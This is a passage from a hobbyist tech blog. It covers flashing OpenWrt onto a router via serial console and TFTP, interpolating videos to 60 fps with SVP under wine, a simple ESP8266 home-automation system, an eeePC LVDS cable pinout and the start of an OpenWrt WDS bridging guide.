Now connect an ethernet cable between a LAN port and your machine and ifconfig it to the router ip address<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">ifconfig eth0 up 192.168.99.8</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: inherit;">or something like that.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Now you can hit enter, and then it will ask the linux kernel filename, which is <span style="color: red;"><b>WRONG</b></span>, that's not the linux kernel filename but the uImage filename.<br /><br />Now the hard choice, finding a similiar enough device to flash this one with, and cross finger that it does not blow up, i've choosen the wr512 because it has too an usb port and an ethernet so, it's worth trying.<br /><br />So download <a href="http://downloads.openwrt.org/chaos_calmer/15.05-rc2/ramips/rt305x/openwrt-15.05-rc2-ramips-rt305x-wr512-3ng-4M-initramfs-uImage.bin" target="_blank">http://downloads.openwrt.org/chaos_calmer/15.05-rc2/ramips/rt305x/openwrt-15.05-rc2-ramips-rt305x-wr512-3ng-4M-initramfs-uImage.bin</a> and rename it to something sane, like /home/dev/rd.bin<br /><br />Now, start a tftp server, quickiest way without spending 15 mins configuring with xinetd or crap like that is</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">dnsmasq --enable-tftp --tftp-root=/home/dev -d</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: inherit;">If it fails because of port already in use, append -p 3244</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">If it started succesfully, enter the choosen filename ( rd.bin or whatever it is ) on the serial console and hit enter, now it should flash it and reboot, but you are not done yet, because this is an image designed to work only on RAM , so any config change will NOT be saved.<br /><br />But since you should have an openwrt console now and the LAN ports configured to 192.168.1.1, ifconfig your machine's interface to 192.168.1.2.<br /><br />Download <a href="http://downloads.openwrt.org/chaos_calmer/15.05-rc2/ramips/rt305x/openwrt-15.05-rc2-ramips-rt305x-wr512-3ng-4M-squashfs-sysupgrade.bin" target="_blank">http://downloads.openwrt.org/chaos_calmer/15.05-rc2/ramips/rt305x/openwrt-15.05-rc2-ramips-rt305x-wr512-3ng-4M-squashfs-sysupgrade.bin</a></span><br />
<br />
Notice that now the downloaded file has "sysupgrade" in it and not initramfs-uImage.<br />
<br />
Now from the serial console do<br />
<br />
scp yourmachineuser@192.168.1.2:/home/youruser/openwrt-15.05-rc2-ramips-rt305x-wr512-3ng-4M-squashfs-sysupgrade.bin /tmp/<br />
<br />
Once done ( and completed succesfully of course ), do<br />
<br />
sysupgrade -v /tmp/openwrt-15.05-rc2-ramips-rt305x-wr512-3ng-4M-squashfs-sysupgrade.bin<br />
<br />
It will take like a min or two and then reboot automatically, after the reboot you will have the router at 192.168.1.1 again.<br />
<br />
Now login to LuCI interface, go to Network->Switch and you should see two vlans configured , vlan1 which is lan configured with the first port untagged and vlan2 which is wan configured to some other port untagged.<br />
<br />
Now change on vlan1 the first port ( left to right ) , to off , and on vlan2 the first port ( same as vlan1 ) to untagged, and click save & apply.<br />
That's because the router of which we flashed the firmware has the switch connected differently.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5juQa8-O4-beuFbu5dI7ult6fTWv36xUt1qsLrMJlQYNKb53Kcrt2L6UYdMfsAHDFHbbWfbqwzhR_dEbNG182l57gwgayswrDlkcjFFRXe4tuhyphenhyphenTGnWsFWjUW26IL6I-1vBVUdwhLQ2W3/s1600/Selezione_306.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="204" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5juQa8-O4-beuFbu5dI7ult6fTWv36xUt1qsLrMJlQYNKb53Kcrt2L6UYdMfsAHDFHbbWfbqwzhR_dEbNG182l57gwgayswrDlkcjFFRXe4tuhyphenhyphenTGnWsFWjUW26IL6I-1vBVUdwhLQ2W3/s320/Selezione_306.png" width="320" /></a></div>
<br />
<br />
That's it now you are done , you can configure wireless and other stuff, just forget about 3G unless you replace flash memory, because it is likely that there's not enough space on flash ( unless you build a version without LuCI and with 3g and then configure with CLI ).<br /><br />Update: It's possible to install 3g packages and still have 52 kbytes free, not tested because i don't have an USB 3g modem handy<br />
<br />Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-63223345928181541732015-06-28T07:58:00.000-07:002015-06-28T09:14:50.075-07:00Converting movies to 60 fps on linux ( with wine )You may have heard of SVP project , if not visit their website <a href="http://www.svp-team.com/">http://www.svp-team.com/</a> .<br />
<br />
SVP in a first pass calculates the motion vectors for the frame ( the direction and velocity that every object in the video has moved with ), and then on the second pass it generates intermediate frames.<br />
With that technique it can generate the intermediate frames between each frame of the original video, like when going from 24fps to 60fps.<br />
<br />
As you have seen SVP is only for windows and there's not any guide to easily use it under Linux, but it can be used under linux too and it's not much difficult.<br />
<br />
<br />
<span style="color: red;"><b>!!!IMPORTANT : The method shown here does not work with <u>ubuntu</u> because of some unknown wine build bug </b></span><br />
<br />
First of all, download the archive here <a href="https://tizbac.ovh/owncloud/index.php/s/RS28NIrJVIR4zfo">https://tizbac.ovh/owncloud/index.php/s/RS28NIrJVIR4zfo</a> , install wine and ffmpeg.<br />
<br />
Unpack the archive in your home directory , i.e you should have at the end /home/yourusername/60fps<br />
<br />
then do<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">wine wineboot</span><br />
<span style="font-family: Courier New, Courier, monospace;">ln -sf $HOME/60fps $HOME/.wine/drive_c/60fps</span><br />
<span style="font-family: Courier New, Courier, monospace;">wine AviSynth.exe</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: inherit;">Follow the instructions of the installer( just click next ,next... finish)</span><br />
<span style="font-family: inherit;"><br />Then edit script.avs and change FFMpegSource2 filename to your source movie if you want to specify a path outside drive_c , /a/b/c becomes Z:\a\b\c and save it.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Now you can launch x264:</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<pre class="code highlight" style="background-color: white; border-left-color: rgb(187, 187, 187); border-left-width: 1px; border-radius: 0px; border-style: none none none solid; box-sizing: border-box; color: #333333; font-family: Menlo, 'Liberation Mono', Consolas, 'DejaVu Sans Mono', 'Ubuntu Mono', 'Courier New', 'andale mono', 'lucida console', monospace; font-size: 13px !important; line-height: 1.5 !important; overflow-x: auto; overflow-y: hidden; padding: 10px; text-shadow: none; word-break: break-all; word-wrap: normal;"><code style="background-color: transparent; border-radius: 0px; box-sizing: border-box; color: inherit; font-family: Menlo, 'Liberation Mono', Consolas, 'DejaVu Sans Mono', 'Ubuntu Mono', 'Courier New', 'andale mono', 'lucida console', monospace; font-size: inherit; padding: 0px; word-wrap: normal;"><span class="line" id="LC1" style="box-sizing: border-box; display: inline;">wine x264.exe --preset veryfast --bitrate 3500 --zones 290367,290367,q<span class="o" style="box-sizing: border-box; font-weight: bold;">=</span>40 --sar 1:1 --output <span class="s2" style="box-sizing: border-box; color: #dd1144;">"Z:</span><span class="se" style="box-sizing: border-box; color: #dd1144;">\the\destination\path</span><span class="s2" style="box-sizing: border-box; color: #dd1144;">"</span> <span class="s2" style="box-sizing: border-box; color: #dd1144;">"C:\60fps\script.avs</span></span></code></pre>
<pre class="code highlight" style="background-color: white; border-left-color: rgb(187, 187, 187); border-left-width: 1px; border-radius: 0px; border-style: none none none solid; box-sizing: border-box; color: #333333; font-family: Menlo, 'Liberation Mono', Consolas, 'DejaVu Sans Mono', 'Ubuntu Mono', 'Courier New', 'andale mono', 'lucida console', monospace; font-size: 13px !important; line-height: 1.5 !important; overflow-x: auto; overflow-y: hidden; padding: 10px; text-shadow: none; word-break: break-all; word-wrap: normal;"><code style="background-color: transparent; border-radius: 0px; box-sizing: border-box; color: inherit; font-family: Menlo, 'Liberation Mono', Consolas, 'DejaVu Sans Mono', 'Ubuntu Mono', 'Courier New', 'andale mono', 'lucida console', monospace; font-size: inherit; padding: 0px; word-wrap: normal;"><span class="line" style="box-sizing: border-box; display: inline;"><span class="s2" style="box-sizing: border-box; color: #dd1144;">
</span></span></code></pre>
If you need to , adjust bitrate and preset to suit your needs.<br />
<br />
Now it should start interpolating and reeencoding the video, it will take a lot of time if you don't have an highend machine, but x264 is heavy, nothing can be done about it.<br />
<br />
After that command you should end up with the interpolated video without sound, to re-add sound you can use ffmpeg<br />
<br />
<span style="font-family: Courier New, Courier, monospace;"><code style="background-color: transparent; border-radius: 0px; box-sizing: border-box; font-size: inherit; padding: 0px; word-wrap: normal;">ffmpeg -i x264output.mp4 </code><span style="background-color: transparent; font-size: inherit; line-height: 1.5;">-itsoffset 0.4 </span><span style="background-color: transparent; font-size: inherit; line-height: 1.5;">-i originalfile.mp4</span><span style="background-color: transparent; font-size: inherit; line-height: 1.5;"> -c:v copy -c:a aac -strict -2 -map 0:v:0 -map 1:a:0 outputfilewithsound.mp4</span></span><br />
<br />
There too, if needed, adjust itoffset ( audio delay offset , interpolation seems to add a delay , still have to figure out why ).<br />
<br />
After that you should have the movie with audio and 60 fps, have fun!Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-16087235722597644692015-03-08T08:55:00.002-07:002015-03-08T09:03:16.843-07:00A very simple internet of things system to control lights and other stuffIn these days i've worked on how to create a system that allows me to turn on and off lights or appliances at home with minimal cost and complexity, and there it is: <a href="https://github.com/tizbac/IoTManager" target="_blank">https://github.com/tizbac/IoTManager</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG5FKhr3gqbSzcT4N74cZbnXvlJHRnaBuo3NStiUVs-rP-nxn3l-u4-m-QjC32xzzLExqXn-McI4H0d8jSr4u3UQqx7C_QCy71gXPwg02aJdVGuNVdEgPmg7emgXRreBGBSWDOQzKU_ANf/s1600/51oc+lvXC3L._SX355_.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG5FKhr3gqbSzcT4N74cZbnXvlJHRnaBuo3NStiUVs-rP-nxn3l-u4-m-QjC32xzzLExqXn-McI4H0d8jSr4u3UQqx7C_QCy71gXPwg02aJdVGuNVdEgPmg7emgXRreBGBSWDOQzKU_ANf/s1600/51oc+lvXC3L._SX355_.jpg" height="315" width="320" /></a></div>
<br />
<br />
Each node (ESP-01 ESP8266) with nodemcu firmware and the init.lua script from esp8266 folder of my repository has two outputs and can control two appliances.<br />
A node has commands to retrieve name , unique identifier and current state, and to set the state, all that happens via UDP packet.<br />
<br />
At first i tried, especially for discovery purposes to use UDP broadcast packets, but it seems that the module has some bug that makes the reception of broadcasts very unreliable, so at last i resorted to try to send a command to query status for each ip address specified in the subnet, like for 192.168.1.0/24, it would be 192.168.1.1 to 192.168.1.254.<br />
<br />
The server which runs on an ARM board like a raspberry or a beaglebone takes care of the authentication of the clients from the internet ( the ESP8266 modules have no authentication , they rely on the safety of the network, so avoid passwords like "password" or "0123456789" ).<br />
<br />
When first started the server creates a self signed certificate to use with HTTPS and a random password, then when the user connects to the webserver from a local ip address a qrcode is displayed to configure the android application.<br />
<br />
The QR Code contains the public ip address , the port , the password and the sha1 fingerprint of the certificate, so that even if it is self-signed, it can be verified by the application to prevent man in the middle attacks.<br />
<br />
The servers also takes care of enforcing state on the nodes, especially when a packet is lost or when the node for some reason loses power, at each discovery the state is compared and if not equal it will be resent again until the node status matches.<br />
<br />
That's it, with barely 200 lines of python and a trivial android app you can safely control your house from where you want.<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-48700748955591139492014-12-18T08:43:00.002-08:002014-12-18T08:45:55.502-08:00Asus eeePC 1005PE LVDS Cable pinoutI'm posting this pinout, because it can't be easily found, and using a multimeter it takes a lot to figure out, like it did for me<br />
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
<br /></div>
<table cellpadding="4" cellspacing="0" style="width: 100%px;">
<colgroup><col width="85*"></col>
<col width="85*"></col>
<col width="85*"></col>
</colgroup><tbody>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: 1px solid #000000; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0.1cm;" width="33%">MB Connector</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: 1px solid #000000; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0.1cm;" width="33%">Panel back connector</td>
<td style="border: 1px solid #000000; padding: 0.1cm;" width="33%">Description</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">1</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">2</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">3.3VDD</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">2</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">4</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">EDID eeprom power ( 3.3V)</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">3</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">6</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">EDID eeprom CLK</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">4</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">7</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">EDID eeprom DATA</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">5</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">28</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">VDD_EN ( Active high, 3.3v)</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">6</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">30</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">VLED_EN (Active high, 3.3v)</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">7</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">22</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">GND</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">8</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">8</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">LVDS Channel 0 -</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">9</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">9</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">LVDS Channel 0 +</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">10</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">11</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">LVDS Channel 1 -</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">11</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">12</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">LVDS Channel 1 +</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">12</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">14</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">LVDS Channel 2 -</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">13</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">15</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">LVDS Channel 2 +</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">14</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">22</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">GND</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">15</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">17</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">LVDS Clock -</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">16</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">18</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">LVDS Clock +</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">17</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">1</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">GND</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">18</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">5</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">Backlight PWM ADJ</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">19</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">25</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">Led VCC ( 5V )</td>
</tr>
<tr valign="top">
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">20</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0cm; padding-top: 0cm;" width="33%">24</td>
<td style="border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; border-top: none; padding-bottom: 0.1cm; padding-left: 0.1cm; padding-right: 0.1cm; padding-top: 0cm;" width="33%">Led VCC ( 5V )</td>
</tr>
</tbody></table>
<br />
<div style="line-height: 100%; margin-bottom: 0cm;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
If you are planning to reuse the panel with an MT6820 board, set the panel voltage to 3.3volts , connect 3.3VDD and VDD_EN together, and connect all the gnd pins to gnd too.<br />
About the backlight, for me it worked leaving VLED_EN open ( unconnected ) and ADJ connected to the BL pin of the mt6820 ( brightness , unless i've swapped for error the pins , does not seem to work )</div>
<div style="line-height: 100%; margin-bottom: 0cm;">
<br /></div>
<div style="line-height: 100%; margin-bottom: 0cm;">
The whole thing will draw about 1A @ 5V, so if you get an Y cable with a switch ( to prevent the mt6820 from powering on too early ), you can run it from two usb ports<br />
<br />
The correct jumper configuration for the board is with only A closed , and all other open</div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-51705477132249659972014-09-19T11:42:00.000-07:002014-09-19T11:43:10.680-07:00How to do transparent bridging / repeater on OpenWRT with an Atheros card<h2>
What you need</h2>
<div>
<ul>
<li>An access point running OpenWRT and supporting 4 address mode ( WDS )</li>
<li>Another access point running OpenWRT and supporting both multi-ssid and 4 address mode ( or only 4 address mode if you want wifi->ethernet bridge )</li>
</ul>
<h2>
Setting up the main access point</h2>
</div>
<div>
First of all , you need to setup the main access point , to do that , once openwrt is up and running, login to the web interface and go to "Wifi" section</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5zqA5ilaFND2jQQeAUuPe_B9_nm5eDZ-rQI2_TCcsmiXqeP_u4LAVuxmSKPkstrRLZQ9SH7aoJYRaqDs0axdNRUhb528UCpYtQPwgkWNPS4gFGWV5Spx15a432n0Ma4g6EYTF-K7_k9wu/s1600/Selezione_028.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5zqA5ilaFND2jQQeAUuPe_B9_nm5eDZ-rQI2_TCcsmiXqeP_u4LAVuxmSKPkstrRLZQ9SH7aoJYRaqDs0axdNRUhb528UCpYtQPwgkWNPS4gFGWV5Spx15a432n0Ma4g6EYTF-K7_k9wu/s1600/Selezione_028.png" height="130" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzrbGGd-1wDbj8-CScChknKk22F3T2TOEHjbXhqbmCiFpPHNsqNgwDnsmB7dkYDOevY7LLFH3uLWPpBVoAzXS85rf0DNRvPBC6Dhl5gz7P3ZIi_-qqSSSaQZgaSefk0ws4cCgyLFS01ZZC/s1600/Selezione_029.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzrbGGd-1wDbj8-CScChknKk22F3T2TOEHjbXhqbmCiFpPHNsqNgwDnsmB7dkYDOevY7LLFH3uLWPpBVoAzXS85rf0DNRvPBC6Dhl5gz7P3ZIi_-qqSSSaQZgaSefk0ws4cCgyLFS01ZZC/s1600/Selezione_029.png" height="157" width="320" /></a></div>
<div>
<br /></div>
<div>
Then , on the Wifi page , if needed remove any existing SSID and then add a new one</div>
<div class="separator" style="clear: both; text-align: center;">
